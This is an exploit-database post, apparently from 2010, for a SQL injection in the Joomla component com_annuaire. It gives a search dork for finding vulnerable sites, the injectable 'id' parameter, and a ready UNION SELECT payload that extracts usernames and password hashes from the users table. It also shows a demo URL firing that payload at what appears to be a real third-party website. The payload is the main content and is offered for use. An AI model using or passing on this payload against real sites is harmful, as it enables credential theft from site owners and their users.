======================================================================= # Joomla Component (com_annuaire) SQL Injection Vulnerability ======================================================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1 3 3 3 _ __ __ ________ __ __ 3 7 /' \ /'__`\ /'__`\ /\_____ \ /\ \/\ \ 7 1 /\_, \/\_\L\ \ /\_\L\ \\/___//'/' \_\ \ \ \____ 1 3 \/_/\ \/_/_\_<_\/_/_\_<_ /' /' /'_` \ \ '__`\ 3 3 \ \ \/\ \L\ \ /\ \L\ \ /' /' /\ \L\ \ \ \L\ \ 3 7 \ \_\ \____/ \ \____//\_/ \ \___,_\ \_,__/ 7 1 \/_/\/___/ \/___/ \// \/__,_ /\/___/ 1 3 >> Exploit database separated by exploit 3 3 type (local, remote, DoS, etc.) 3 7 7 1 [+] Site : 1337db.com 1 3 [+] Support e-mail : submit[at]1337db.com 3 3 3 7 ######################################### 7 1 I'm XroGuE 1337 Member from 1337 DataBase 1 3 ######################################### 3 3 3 7-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-7 # Name: Joomla Component (com_annuaire) SQL Injection Vulnerability # Vendor: N/A # Risk: High # Date: 2010-12-01 # Author: Ashiyane Digital Security Team # Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com # Home: www.Ashiyane.org/forums/ # Gr33tz: Behrooz_Ice,Virangar,And All Ashiyane Members ! ========================================================================== [+] Dork: inurl:"index.php?option=com_annuaire" ========================================================================== [+] vuln: http://127.0.0.1/index.php?option=com_annuaire&view=annuaire&type=cat&id=[SQLi] [+] Exploit: /**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13/**/from/**/jos_users-- [+] Demo: http://www.awa.nc/index.php?option=com_annuaire&view=annuaire&type=cat&id=-999/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13/**/from/**/awa_users-- ==========================================================================